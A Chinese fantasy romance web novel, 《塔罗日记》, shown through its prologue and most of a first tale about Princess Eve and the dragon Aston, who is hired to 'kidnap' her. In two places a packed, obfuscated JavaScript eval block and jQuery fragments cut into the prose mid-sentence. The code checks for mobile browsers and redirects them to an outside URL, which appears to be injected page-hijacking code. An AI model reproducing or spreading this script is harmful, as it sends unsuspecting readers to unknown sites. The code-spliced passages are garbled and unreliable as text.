《塔罗日记》
1. 楔子
小木屋。
熊熊燃烧的壁炉内发出噼里啪啦的声响,火光照在墙壁上,映出屋内两人的剪影。
“你相信这个世上死去的人可以复生吗?”一位满头白发的老太太问道。
少女维奥莉特摇了摇头,她不相信这些。
前些日子她刚刚失去心爱的伴侣,这半个月以来她都处在极度的悲痛之中,有时候她也会想:如果世上真的有让人死而复生的办法就好了。
可惜这不可能。
得到少女的回答后,老太太笑而不语,她将手中一本看上去年代久远的本子递给维奥莉特。
见状,维奥莉特狐疑地接过本子,不明白老太太的用意,她下意识地翻开本子,只见上面写了几个字“塔罗日记”。
未等维奥莉特多想,她的眼前忽然浮现出一道金光,老太太的声音再次回荡在自己耳边,缥缈虚无。
“在他死后,他的灵魂被神明拆分成了七片,散落在七个不同的世界里,只要你能找到七样附着着他灵
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064676|163060||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
魂的圣器,你就能让他复活......”
圣器?长什么样子?
为什么他的灵魂会被分成七片?
维奥莉特的意识越来越模糊,她心里的疑问越来越多,正当她张口想要再询问老太太一些事情时,她眼前一黑,彻底失去了意识......
我们将在不同的时空反复相爱,因为这一切都是我们之间不可磨灭的缘分。
命定之人......
生生世世......
2. 世界一
曾经伊芙一度认为自己会平淡无奇地度过自己的一生,直到有一天她遇见了那条恶龙。
那天阳光明媚,伊芙和自己的女仆们一起在郊外野餐,正当大家嬉戏打闹时,一条恶龙突然飞过来,将她掳走了。
女仆们惊慌失措,却又无可奈何,她们抱团大哭起来。
再看伊芙——
在被恶龙抓走后,她并没有像其他人那样展现出惊慌害怕的一面,相反,她看上去十分淡定。
因为伊芙早就知道会有这样一天。
她之前听奶妈说过,被恶龙掳走后,她什么也不用干,只用安静地呆在山洞里就行,恶龙不会伤害她的。
恶龙艾斯顿紧紧抓着她,削铁如泥的龙爪与她只隔着一层薄薄的礼裙,但锋利的爪子没有伤她分毫。
艾斯顿带着她在空中七拐八弯地飞了好一会,最终来到一个山洞。这个山洞阴暗潮湿,符合各个话本的描述,但出乎她的是——
恶龙没有停下,而是顺着一个垂直的通道飞到一处金碧辉煌的房间。
房间大得惊人,金币和珠宝堆成了座座小山。
?怎么跟话本里的不一样?恶龙不是应该住在阴暗狭小可能还充斥着岩浆的山洞里吗?
被放在一处空地的伊芙认真思索着。
“随便坐吧。”
一道光闪过,艾斯顿化成人形,变成了一个五官俊美的少年。
只见他漫不经心地倚靠在门框旁,嘴角挂着一抹懒散的笑,鼻梁高挺,眼角微微上挑。
他的样貌并不像传说中那样可怖,罕见的黑色头发配上血红的双目,使得他的脸很具侵略性。不过此时的他看上去很放松,随意的神情柔和了冷峻的面部线条。
伊芙环视一圈没能找到椅子,最终她理了理裙子,优雅地坐在了一块金砖上。
“饿了吗?要吃什么?”艾斯顿问道。
伊芙想了半天没能给出一个答案,身为国王最宠爱的小女儿,衣食无忧的她从不会去特意关注在王宫餐桌上的食物。
“那我点餐?”艾斯顿微微扬了下眉,随口说道。
得到了伊芙的颔首同意后,艾斯顿拿出一张纸在上面勾了两下,然后随手点出一团火焰烧掉了。
“你......不把我关在地牢里,或者绑起来什么的?”伊芙思考良久,终于犹豫着发问。
艾斯顿闻言动作一顿,用奇异的目光看向伊芙:“你喜欢这种?”
伊芙连连摇头,脸颊猛的有些发烫,声音都低了下来:“不是,没有!只是话本里都这么写的。”
“国王没跟你说吗?”
窗子被敲了两下,艾斯顿打开窗户,骑着扫帚的女巫递来两份盖饭。
“什么?”伊芙露出了疑惑的神情。
艾斯顿将一份饭盒递给伊芙,伊芙礼貌道谢,学着他的样子打开饭盒。
一份热气腾腾的咖喱饭出现在她面前,她尝了一口,是王宫里没有的味道,辣得她舌头发麻。
“国王拿出了国库的一半请我绑走你。”
“什么?!”伊芙不可置信地瞪大眼睛,脑海中浮现出国王慈爱的脸。
“父亲为什么要这么做?”
艾斯顿抬头看了伊芙一眼,眼中闪过一丝不易察觉的惊讶,他忍不住轻笑出声,仿佛听见了什么有趣的笑话。
少年侧首看着伊芙,眼里染着显而易见的笑意,他难得耐着心解释了一番,声音有些散漫。
“你,十八岁了,该嫁人了。”
“国王特意聘请我绑走你,明天他就会对全天下发布公告,谁能顺利救走你,就能娶你为妻。”
“到时候那些王子会选择来救你,你看谁顺眼,我就让谁救走你。按惯例,你会嫁给他。”
解释了一通后艾斯顿自顾自走进屋内,说道:“你吃完了吗?我要睡了,你的房间在隔壁。”
伊芙心情不佳,不多时,她便放下没吃几口的饭,走向自己的房间。
月亮一点一点的爬上夜空,伊芙双手交握平放,一动不动地躺在床上,任由眼泪静静地在脸上流淌,没发出一点声音。
优雅的姿势,无暇的面容,精致的衣裙衬得她就像一个精致的娃娃。
良久,伊芙轻轻抽了一下鼻子,终于忍不住发出轻微的抽泣声。
身为龙,艾斯顿的听力特别好。
他打了个响指,瞬移到伊芙的房间。
“你在哭吗?”
伊芙十分惊诧,这个房间的隔音这么差吗?这都能听到?
一时之间伊芙不知该作何回答。
因为她觉得这很丢人。
被发现哭泣的公主有些不知所措。
根据《皇家礼仪法典》第二百二十七条,在地位相等的人开口询问时,不回话是不礼貌的。
于是伊芙开口说道:“没有。”
她的鼻音很重。
艾斯顿沉默了一会儿,继而说道:“除了请恶龙绑走,还有很多其他办法可以把公主嫁出去。”
“比如去找女巫,花上几十金币买瓶药水,灌公主喝下去,谁吻醒了公主,公主就得嫁给谁。”
“国王之所以拿出国库的一半请了我,就是为了让你有自己选择的权利,即使是以这种方式。”
听到这,伊芙从若有若无的抽噎变成了压低声音的呜咽。
艾斯顿无奈地叹了口气,反思了一下自己是不是没有安慰人的天赋,然后微微动了动手指。
一阵微风吹过伊芙的发梢,有什么东西被顺着风托了过来,方方的,她一摸,是一方干净的帕子。
“想哭就哭出来吧,这里不是需要维持礼仪的皇宫。”
兴许是忍得太辛苦,听到这句话,伊芙再也控制不住,“哇”的一声哭了出来。
一晚上的时间很快过去,伊芙后来哭着哭着就睡着了。
等她再次睁眼的时候已经是中午了,她望着陌生的天花板愣了半天才意识到自己不在王宫里,也不需要上早课。
外面艳阳高照。
“你醒了?”
艾斯顿把一个饭盒递给伊芙,她打开,发现是一个黄油蛋糕。
“昨天看你没怎么吃,不喜欢吃辣吗?”
“嗯,我吃不来辣。”
说罢,伊芙小口小口地吃起黄油蛋糕。
艾斯顿盯了她一会儿,问道:“你这样吃不累吗?”
伊芙动作一停,有些凝噎。
其实是有点的,毕竟她已经有两顿饭没有好好吃了,现在只想大快朵颐地吃东西。
顶着艾斯顿的注视,伊芙吃得稍微大口了些。
“国王应该已经把‘谁能救出公主就把公主嫁给谁’的消息放出去了,很快就会有各种勇士和王子来救你。”
艾斯顿指了指伊芙床对面的大镜子。
“这面魔镜可以看到下面的情况,你就坐在这里挑,看上谁就说.....喏——这就来了一个。”
镜子里浮现出了一个棕发少年的模样,伊芙认真地看了一会儿,摇了摇头。
“行,那我赶他走。”
艾斯顿从通往下层的洞里跳了下去。
伊芙从镜中看到艾斯顿又变成了恶龙的形态,他与棕发少年打在一起,不一会儿那个少年败下阵来,慌忙逃走。
没过一会儿,艾斯顿又回来了。
“每来一个我没选上的人,你都要像这样战斗吗?”伊芙有些好奇。
艾斯顿满不在乎地扬了下眉,嗓音透着几分漫不经心:“当然,钱哪有那么好赚。”
“他们不知道交易的事吗?”
“只有国王才知道,王子们不知道。”
伊芙低下头:“那万一你没打过怎么办?”
艾斯顿轻声一笑,他的嘴角漾起弧度,眼睑耷拉着看向公主,故意用恐吓口吻说道:“那你只好被他带走咯。”
伊芙心里一跳,刚想说什么,就听艾斯顿接着说道:“放心吧,我可是国王拿出国库的一半请来的‘恶龙’啊。”
“只要你不愿意,他们就不可能从我这里带走你。”
……
前来挑战的人数不胜数,艾斯顿以为自己的工作很快就会完成,但是——
伊芙一直没能看中谁。
刚开始艾斯顿还会和那些前来挑战的人有模有样地打上几个来回,次数多了他也就懒得装了。
这天女巫送来了一个大包裹,艾斯顿接过后递给伊芙。
“这是什么?”伊芙拿着包裹左看右看。
“换洗衣物,比不上宫里的,你将就一下。之前的公主都是待了一两天就走,所以一开始没准备。”
“你还绑过别的公主?”伊芙瞪大了眼。
“对啊,不然这些财宝是哪来的?”
我还以为是你到处抢来的。
伊芙在心里默默想着。
“不过她们不像你,她们过来的时候就想好要嫁给谁了。”
艾斯顿想起了那几张美丽但无情的脸,以及她们挑选时只是在计算来人价值的冷漠眼神,他下意识看了眼身旁天真的少女。
“你被保护得太好了,真的像从童话里走出来的。”
伊芙眼前浮现出父亲的面庞,眼尾又开始微微泛红,忙一撇头看向别处,她轻咳一声:“我去洗澡了。”
两个小时后,伊芙从浴室里探出一个头,犹犹豫豫地没开口。
“又怎么了?”艾斯顿无奈地叹了一口气,“尊贵的公主殿下。”
伊芙张了张唇,欲言又止,最后她终于出声:“我不会洗衣服.....”
声音越来越小。
“......”他沉默了。
“罢了,我教你。”艾斯顿耳根有些红,他从椅子上站起身来,走向伊芙。
“我真是请了个祖宗啊,早知道这钱这么难赚,我就不接国王的活了。”少年小声嘀咕着。
……
艾斯顿打败了一批又一批人后,前来挑战的人终于少了。
一个月过去了,公主还在恶龙手上。
两个月过去了,公主还是在恶龙手上。
伊芙已经习惯了穿裤子,艾斯顿给她买的衣服很是轻便,没有拖地大裙摆,没有束腰,舒服又方便。
离家两个月,伊芙想家的情绪与日俱增,吃的饭少了,睡的觉也不多,本就苗条的身形愈加削瘦,艾斯顿都担心她会饿死在这儿。
这天伊芙半夜数羊的时候发觉身边多了一个身影,是艾斯顿。
他血红的眼瞳在黑暗中隐隐发着光。
“我带你出去逛逛?”艾斯顿提议道。
逛逛吗?这荒山野岭有什么好逛的?
伊芙在心里默默想着,但她还是点了点头,她确实需要换一个地方散散心。
狂风在伊芙的耳畔呼啸而过,她骑在黑色巨龙的背上,身下是万米高空。
大喊大叫不合礼仪,伊芙艰难地将嘴边的惊呼咽了下去,她俯下身子,紧贴着巨龙,双手死死揪住他背部的黑色鳞片。
“看,妖精森林。”艾斯顿指了指下面。
伊芙小心翼翼地探出头,看到了一望无际的大森林。
艾斯顿飞低了些,起伏的林海触手可及,点点荧光在林间飞舞。
恶龙飞过时这些荧光一齐聚了上来围绕着公主,犹如星光,仿佛置身银河,美得令人窒息。
伊芙不由自主地直起了身子,呼吸着新鲜的空气,体验着飞行的感觉。
很是.....自由。
“我带你回王宫看看吧。”
说完恶龙就猛地飞高,加快了速度。
吹来的风猛地变大,风声在耳畔呼啸而过,伊芙一个重心不稳向后倒去,鳞片不堪重负地被她扯了下来。
失去了着力点的公主发出来一声惊叫,恶龙的背部鲜血流出,但他无暇顾及。
艾斯顿忍痛俯冲,在伊芙摔成肉饼之前叼住了她。他扭头把惊魂未定的公主放到了自己的脖子上。
“你抓着我的角吧,最近换鳞,背部的鳞片比较脆弱。”
伊芙惊魂未定,她用尽全身力气抓住恶龙的角,趴在他的头上。头上的视野比较开阔,就算是趴着也能看到前方的景色。
他们飞出了森林,来到了平原。
伊芙觉得眼前的景色熟悉了起来。
雄伟的王宫出现在她的视野中。
突然,一阵蓝光笼罩了他们。
这是艾斯顿设的屏障。
“这样他们就看不到我们了。”他说着飞近王宫。
即便是在夜晚,王宫仍然灯火通明。伊芙看到了巡逻的士兵,打扫卫生的侍女,一切都一如既往。
艾斯顿绕着王宫飞了一圈,停在了国王的寝宫。公主透过琉璃窗看见了国王和王后。
国王仍未就寝,在灯光下批阅着文件,王后坐在床上读着书。
国王和王后鬓边的金发已经染上点点斑白。
伊芙深深地望了他们好一会儿,才对艾斯顿说道:“我们走吧。”
“不进去和他们见一面吗?”
“不用了,这样就够了。”
艾斯顿没再开口,只是转身飞离了王宫。
回去的路上他特意放缓了速度,微风一阵阵吹过,宽阔的龙背莫名舒适,困意随着风吹来,渐渐的,伊芙睡着了。
伊芙是被一阵香味叫醒的,好久没睡得这么舒服了,她有些恋恋不舍地脱离梦境。
她一睁开眼睛就看到了漫天星河。
平时总让人感到不安的黑暗此时成了群星最好的幕布,点点明星闪烁其间,没有灯火的夜晚星星显得格外清晰。
此时的她躺在草地上,艾斯顿坐在一旁,正在火堆上烤着鱼。鱼被烤得金黄酥脆,散发出的香味令人垂涎欲滴。
伊芙感觉多天未有过的食欲都被勾了起来,饥饿感迅速蔓延。
见她醒了,艾斯顿挑出一串烤鱼向她递去:“鱼烤好了,要吃吗?”
伊芙飞快点头。
几天没好好吃饭了,此时伊芙也顾不上“吃东西至少咬八口”的礼仪,她接过烤鱼便大咬了一口,表皮酥脆,肉质细腻,鱼的腥味完全融化在了调料中,只剩下了美味。
烤鱼串在树枝上,伊芙从未吃过这种食物,她一时间顾不上其他,由于吃得太快,调料不小心沾在了嘴角处。
艾斯顿低声一笑,瞬间让伊芙想起了被她丢弃的礼仪,她立即停下了手中的动作。
“很粗鲁吗?”她有些局促地问道。
“没有,只是觉得你终于不像个机器了,这很好。”
“我以前像个机器吗?”
“对啊,一架只会按皇家守则行事的机器。”
但是不止公主,所有的皇室成员都在遵守这些法则啊,难道这不是应该的吗?
伊芙有些困惑,她不能理解为什么艾斯顿的话语中有为她高兴的意思,明明她做错了事。
艾斯顿像是察觉了伊芙的疑惑,他转过头,认真地对她说道:“所有的生灵都可以遵从自己内心去追逐自由。”
说这句话的时候,少年的眼睛无比明亮,血红的眼瞳宛若精心打磨的红宝石,漂亮极了。
末了,少年笑了笑又补了一句:“当然不能怀害人之心就是了。”
伊芙被他的笑容晃了眼,她微微一怔,回过神来,蓦然红了脸颊,她赶紧低下头开始啃鱼。
艾斯顿拨弄了一下火堆,暖色的火光在他和她的脸上跳跃着,驱走早春的微寒。
“今天在我背上的时候你很害怕吗?”只听他问道。
伊芙点了点头又摇了摇头,老实说道:“一开始是有点,后来不会了。”
其实他飞得很稳。
“害怕的话可以大声喊出来。”艾斯顿的眼神落在她脸上,神情认真且专注,透着不易察觉的温柔。
“开心了可以放声笑,难过了可以尽情哭,想要什么就大声说,想做什么就放手做。”
伊芙愣了好一会儿才慢慢地点了点头。
少年被她呆呆的表情逗笑了:“说点什么啊。”
“我......我......”一时没反应过来,伊芙有些不知所措。
“你觉得现在的生活还有什么需要改进的?”
“我……我想要多出来透气,多看点风景。”
“我还想选择自己的幸福,而不是一味地顺从父母的安排……”她的声音越来越轻,显然有些底气不足。
“大声点!”
“我想嫁给想嫁的人!”
伊芙提高了声音。
“好,这还差不多。”艾斯顿的眼中漾着星星点点的笑意。
“对了,我想要吃你烧的饭菜,不想再吃外卖了。”
伊芙越说越大声,感受到了前所未有的畅快。
“好。”
……
公主嫁人的事情还是没有任何进展。
在无人的夜晚,他们常出去兜风,伊芙亲眼看到了话本中描述的大海、森林、湖泊。
时间如流水般欢畅流逝,转眼便到了夏天。蝉鸣欢快,草木茂盛,劳作的人们在春种和秋收之间找到了休息的时间。
“我想去祭典。”伊芙的眼睛亮亮的,带着一丝憧憬与渴望。
“你之前不是年年都参加吗?”艾斯顿的声音从厨房里传出来,他正在准备今天的午餐。
“不一样啊,之前我都是一直坐在花车上,全程保持露出八颗牙齿的笑容。我想尝街边的小吃,想看烟花,想玩各种小游戏,想......”
想和你一起去。
这个想法突然出现在伊芙的脑海里,把她自己都吓了一大跳。
“那就去。”
艾斯顿端着菜出来。
伊芙甩甩头,试图将心中的异样甩走,她拿起餐具打算用美食转移注意。她尝了一口菜,立即两眼放光。
太好吃了,如果他去应聘厨师,百分百会被人抱着大腿求他留下。
“你的厨艺都是从哪学来的?”
“曾曾祖父留给我的。”
伊芙露出疑惑的表情。
“龙的记忆是会一代一代往下传的。”
“真不错啊。”
伊芙向往地说,如果她一出生就什么都会的话就不用那么拼命地学了。
“你这么觉得吗?”
艾斯顿笑着摇了下,他垂眸掩去眼底的情绪,但他没有再说什么,只是让她快吃。
……
“尊贵的公主殿下,你好了吗?”艾斯顿百无聊赖地倚在墙上。
伊芙已经用各种化妆品在镜子前捣鼓了一个多小时了,还非要把他支走。
“再不走祭典都要结束了。”
“哎呀,马上就好了。”
艾斯顿实在等不住了,他上前一看,表情霎时变得一言难尽了起来。
“你这化的什么东西?”
原本漂亮精致的脸被她刷得惨白,嘴唇血红,眼尾处还有红红紫紫的眼影。
“像是去过万圣节。”艾斯顿如实评价道,“不如不化。”
伊芙恼羞成怒地把眼刷往桌上一拍,扑上去就要打他。
“你看你现在还有公主的样子吗?”
少年边躲边喊道。
回答他的是一记飞踹。
伊芙打了一会儿也就累了,她转而用瞪视来表达自己的不满。
突然一块温热的布盖到了她的脸上,一只有力的大手隔着布揉搓她的脸,擦掉了她脸上不伦不类的妆。
“我来吧。”
少年的手轻轻捧住她的脸,用笔刷在她脸上涂涂画画。
他的眉眼近在咫尺,伊芙可以近距离地看到他专注的眼睛,以及长长的羽睫。
“闭眼。”
伊芙乖乖地闭上了眼,刷毛柔软的触感在她眼皮上跳动。
“这又是谁教你的?”
“我的母亲。”艾斯顿说,语气温柔。
不是某位公主就行,伊芙暗想。
“好了,走吧。”
伊芙睁开眼,在镜子前左看右看。
她本就底子好,即使是她自己的画法都让脸添了几分诡异的美感,正常的妆更是让她愈发美丽,让人移不开眼。
“喏。”
“这是什么?”公主拿过恶龙递来的小块布料。
“面纱。你太显眼了。”
“万一被人认出来就不好了。”
一番抗争后伊芙还是戴上了。
……
他们赶到时祭典已经接近尾声,商人也所剩无几,但伊芙仍然玩得很开心。
祭典结束了,伊芙和艾斯顿坐在一处屋顶上,街道上只剩几个准备回家的行人。
今晚伊芙狠狠闹了一通,现在只感觉筋疲力尽,她顺势躺了下来,一把扯下妨碍的面纱。
伊芙突然想起了什么,猛地坐起来:“烟花呢?”
“在我们来之前就放完了。”
“啊?”伊芙失望地又瘫了下去,双手交叉放至胸前,“我的人生没有意义了……”
“你人生的意义就是看烟花吗?”
“我的生命灰暗了。”
“你之前不是看过了吗?”
“不一样啊。”
“烟花有什么不一样的?”
公主快速瞄了一眼坐在身侧的少年,小声说:“就是不一样啊。”
“......行吧,我给你放一个。”
“真的吗?可别拿烟花棒敷衍我,我要看大的。”
“放心,保证够大。”
少年化为龙形飞向空中,在夜里不起眼的黑色身躯猛地发出了惊人的气势,吐出一个巨大的火球。
耀眼的光渐渐堆积,最后到了炫目的程度,惊得伊芙坐了起来。
她想起了话本上的一段文字:龙的吐息是它们最大的杀招,吐息的温度可以轻易融化岩石。
巨大的蓝紫色火球被射向天空,如同一轮太阳。
下一秒,恶龙变回人形,回到伊芙身边。只见少年随意地抬了下手,一道蓝色的火焰闪过,瞬间穿透火球。
与此同时——
火球在高空炸开,化作点点火焰,如雨般降下,划亮了夜幕。
伊芙眼也不眨地抬头望着。
盛大的火雨如梦似幻,焰火落下时已经燃烧殆尽,只剩点点亮光。光映在她的脸上,忽明忽暗。
艾斯顿看着伊芙出神的侧脸,忍不住唇角轻弯。
“伊芙。”这是他第一次叫她大名。
她回过头。
刚刚注视了这么久的焰火,她的眼睛还不能适应,只能看见一片黑暗。
“这个给你。”
伊芙感觉自己的左手被拉起,有什么东西被戴在了上面,她用手摸了摸,冰冰凉凉的。
“这是什么?”
“被你扯掉的鳞片。”
“......?”伊芙疑惑地看了艾斯顿一眼。
“用这个可以召唤我一次,帮你一个忙。”
“为什么给我这个?”
“售后服务。”艾斯顿扬了下眉,优哉游哉道,“如果救走你的人表里不一,你可以叫我。”
“每个公主都有吗?”伊芙脱口而出。
闻言,艾斯顿忍不住笑起来,低低的嗓音从喉间溢出,透着一股轻松愉悦的气息。
“怎么可能?”
“又不是每个公主都把我的鳞片拽掉了。”
......
恶龙的鳞片漆黑,呈三角状,锋利的边缘用红绳包了起来。伊芙发现它总是在手腕处乱飞,艾斯顿解释它会指向他所在的方向。
这天镜子里又浮现出了挑战者的身影,是一位金色头发背着重剑的少年。
“我认识他。”伊芙说道,“他是王国第一剑士。”
“你要选他吗?”
伊芙摇了摇头。
“行。”
在艾斯顿离开前,伊芙对他喊了一句:“你.....你小心点!”
艾斯顿脚步一顿,却依然背对着伊芙,他微微侧头,露出精致的侧颜。
“放心吧,不会让你嫁给他的。”
剑士一看到恶龙就对他发起了猛攻,几个来回间刺伤了艾斯顿的右臂,看到这儿,伊芙不禁揪紧了衣摆。
剑士的剑很是不同,闪耀着白光。
艾斯顿被刺中后动作明显迟缓了一些,但剑士依然不是艾斯顿的敌人,几次交锋后剑士终于便败下阵来。
“你受伤了!”伊芙着急地说。
鲜血从艾斯顿的右臂渗出来,有些渗人。
“没事,皮肉伤。”
艾斯顿不以为意。
“为什么不用龙息?”
“那他不就化成灰了?我可不能下死手。”
“可他对你下的是死手!”
“一行有一行的风险。如果我下了死手,这件事的性质就变了,国王会发兵讨伐我,我如果想活下来就得一直杀戮,这不是我内心所想。”
“他的剑是不是有问题?”
伊芙想到了那发着白光的剑。
“他的剑是受过祝福的圣剑,可以压制魔物的力量。”
“太不公平了!”
伊芙不满地挥舞着拳头,像是在向谁抗议。
艾斯顿其实算不上爱笑,但公主的各种反应总让他忍俊不禁,他突然意识到,自己遇到伊芙后,好像也在无形之中有了许多变化。
“非要说的话,人和龙打本来就不公平。”
“可是......”伊芙还是有些不满,她看了看艾斯顿的伤口,低声说道,“我帮你包扎吧。”
伊芙的手微微颤抖着,艾斯顿以为她害怕,出声安慰道:“没关系,小伤而已,马上就会好的。”
“哦。”伊芙低下了头,转着手上的鳞片,像泄了气的皮球,让人很想摸摸她的头。
这样想着,艾斯顿下意识地伸出了自己的手,却在半空中停住了,然后无声收回。
“你能通过鳞片感知到我的位置吗?”
伊芙低头摸着手腕上的鳞片,她没有察觉到少年刚才的动作。
“按理说可以,但我切断了感知。”
“为什么?”
“因为——”艾斯顿顿了顿,好像在思考什么,“这样做好像不太礼貌。”
伊芙再次低下了头,没再说话。
......
一天早上,镜面浮动起来,出现的却是一个女子的身影,雪白的长发,赤红的双瞳,艾斯顿一看到她就头疼。
“咦?”伊芙疑惑道。
“我妹妹,来串门的。”艾斯顿烦躁地揉了揉自己的头发,“她很吵。”
话音未落就传来一句中气十足的响亮女声,“呦!半年不见金子又多了这么多啊!还是你会赚啊,哥!”
白龙塔拉莎大喇喇地踏了进来,拍了拍艾斯顿的肩,毫不客气地打量着他的房间。
塔拉莎刚一转头就看到了坐在床上的公主,她脚步一顿,立即把手背放在额头上,往艾斯顿怀里一倒,语调夸张地说:
“Oh,darling,这个女人是谁?我好伤心!”
“我已经跟她说过你是我妹妹了。”
“切。”塔拉莎朝自己哥哥翻了一个白眼,迅速起身,“你不早说。”
“这位是王国的公主。”艾斯顿介绍道。
“嫂子好!”塔拉莎弯腰。
伊芙的脸一下子涨得通红,嗫嚅着说:“不,我......”
“好了,你别闹她。”艾斯顿给了塔拉莎一拳,“给人家道歉。”
“对不起!”塔拉莎说得很是爽快。
伊芙摇了摇头:“没关系。”
塔拉莎自来熟地坐在伊芙旁边,热情道:“你几岁啦?”
“十八。”
“住哪啊?”
“王宫。”
塔拉莎抓起伊芙的手摩挲着:“你太好看了!嘤嘤嘤!要不你嫁给我吧,我来打败那些王子。”
“喂!”艾斯顿的声音从厨房传来。
“随口一说还不行吗!小气!”塔拉莎冲厨房喊道,接着转头就换回了和蔼的语气,“在这住多久了?”
“嗯——”伊芙也记不太清了,她没有什么时间观念。
“四个月了,国王都以为我要撕票了。”艾斯顿的声音再次响起,透着一丝微不可察的无奈。
“四个月了?!”塔拉莎突然瞄到了伊芙手腕上系着的鳞片,一个大胆的想法浮上心头。
“哥!”塔拉莎又冲厨房喊,“我想吃魔法莴苣!”
“那东西不是要去禁飞区步行一个小时才能买到吗?你又搞什么?”艾斯顿从厨房里走出来,他眉心微蹙,不悦地盯着这个烦人精妹妹。
塔拉莎走到艾斯顿面前,重重地拍了拍
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064677|163060||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他的肩:“你没发现公主有心事吗?”
她就这么随口一说,没想到瞎猫碰上了死耗子。艾斯顿被她唬住了,他回忆了一下,伊芙这几天确实心不在焉的。
见艾斯顿陷入沉思,塔拉莎赶紧趁热打铁:“你知道这个时候她最需要什么吗?另一个女孩子!”
“你一个大老爷们在这她不好意思开口,你出去一下,我来解开她的心结。”
“你?”
“你这是什么表情!放心,我很会的。”
“好吧。”艾斯顿被说服了,“那我走了。”
艾斯顿走到伊芙面前说道:“我出去买魔法莴苣给你们吃。你和我妹妹待一会儿,她要是胡言乱语你就跟我说,一会儿我揍她。”
“哎知道了知道了,你快走吧。”塔拉莎推他。
艾斯顿走后,塔拉莎泡了两杯柠檬水,递给了伊芙一杯。
“你们平时都干什么啊?”
塔拉莎战术性喝茶。
“白天看看书,晚上骑龙......”
塔拉莎一口茶喷了出来。
“......出去兜风,你怎么了?”
“没事,这个骑啊,你继续你继续。”
“一起去吃夜宵看风景什么的。”
“哦~”
好配啊,郎才女貌的,塔拉莎嗑了起来,她决定单刀直入。
“你觉得我哥是个什么样的人?”
“他吗?他......很厉害,很强,还很可靠,什么都会。”伊芙讲着讲着,脑中浮现出了艾斯顿的身影,她的脸上带着不自知的微笑。
有戏!我们家一定要娶到公主!
塔拉莎脑中飞快思索着。
对了!那件事他一定没讲,让我来帮他卖个惨。
塔拉莎往床头一靠,神情苦涩了起来,她长长地叹了口气,违心地讲道:“对啊,他一直这么好。”
“我和我哥都是纯种的龙,我们的父亲是黑龙,母亲是白龙。龙族的记忆和力量一脉相承,你知道这意味着什么吗?”
伊芙不明白,她静静地看着塔拉莎,做一个安静的听众。
塔拉莎继续管自己说道。
“这意味着一旦有了孩子,他们就得死。把自己的记忆与力量传给下一代,用自己的身躯抚养他们长大。”
“龙蛋有五个,他们的身躯只能供给两个,龙刚出生时没有性别,在他们杀死了多余的幼崽后,继承父亲力量的为雄,继承母亲力量的为雌,所以纯血龙身上都背着血亲的命。”
“龙们都不愿意自己的后代活得这么沉重,要么与别族通婚,产生鱼龙、精灵龙、翼龙等品种,要么不把孩子生下来,所以纯种的龙越来越少。”
“虽然我们没见过活着的父母,但透过记忆我知道他们很恩爱,在怀了我们之后,他们犹豫了很长一段时间,最终还是决定把我们生下来,即使代价是他们的生命。他们在生命终结之前通过记忆给我们留了一段话。”
塔拉莎顿了顿,说道:“很短,‘爱你所爱,做你所想,尽情翱翔于蓝天’。”
“留在家族里的话就要按族里的安排传承血脉,我哥不接受这样的命运,带着我离开了家族,没有任何人的庇护,我俩躲在深山里愣是活到了成年。”
伊芙全程认真专注地听着,见到公主这副模样,塔拉莎忍不住伸手揉乱了她的金发。
对伊芙,塔拉莎很有倾诉欲。她本来是来打探情报的,结果自己讲了很久,把她和她哥的事说了个底掉。
魔镜一阵变幻,浮现出了艾斯顿的身影。
糟了!塔拉莎一拍脑门,说得太嗨忘记撮合他俩了!她快速抓起伊芙的手,严肃地说:
“公主,喜欢就要自己去争取,我哥在情感上是块木头,我俩审美很像的,我这么喜欢你,他一定更喜欢你,要勇敢点啊!”
伊芙被她说得红了脸。
艾斯顿一上来就看到脸颊通红的公主和摩挲着她手的塔拉莎。
“你吃她豆腐?”艾斯顿质问自己妹妹。
“对啊。”塔拉莎一把搂过伊芙,“我们要私奔了。”
“先过我这关再说吧。”艾斯顿踢了妹妹一脚。
闹了一阵后,他们一起吃了晚饭,对了,魔法莴苣真的很好吃。
塔拉莎走的时候往伊芙手心里放了什么,她对她狡黠地眨了眨眼,然后在艾斯顿的驱赶下不情不愿地松开伊芙的手飞走了。
伊芙打开手心一看,发现是一片雪白的鳞片。
“这家伙。”艾斯顿叹了一口气,感觉太阳穴突突直跳。
......
塔拉莎走后,艾斯顿总感觉伊芙变得怪怪的,不仅经常找各种理由把他支走,一个人在床边捣鼓着什么,还常常偷看他,等他转过头她又一脸若无其事。
塔拉莎跟她说了什么?艾斯顿恨不得飞到妹妹家掐死她。公主不会真的要去和塔拉莎私奔吧?
在伊芙例行为自己加油打气时,许久没动静的镜子又浮动起来,她随意地瞥了一眼,手上的动作一顿,眉心微蹙。
来者一头银发,身姿挺拔,神情坚毅。是邻国的王子,传闻他的一身本领是屠龙。
艾斯顿看到来人后也是神色一凝。
“他的剑?”伊芙问道。
王子腰间修长的佩剑闪闪发光。
“是圣剑。”艾斯顿肯定了她的猜想。
艾斯顿照例把询问的目光投向公主,她仍是摇了摇头。艾斯顿果断起身,伊芙张了张嘴又咬紧牙关,她很担心。
没过一会儿下面就传来战斗的声音。
伊芙在魔镜前紧紧盯着艾斯顿的身影。
王子实力很强,而且实战经验丰富。圣剑的光很是明亮,显然比剑士的等级高了不少。
艾斯顿处处受制,竟是落了下风,几处负伤。
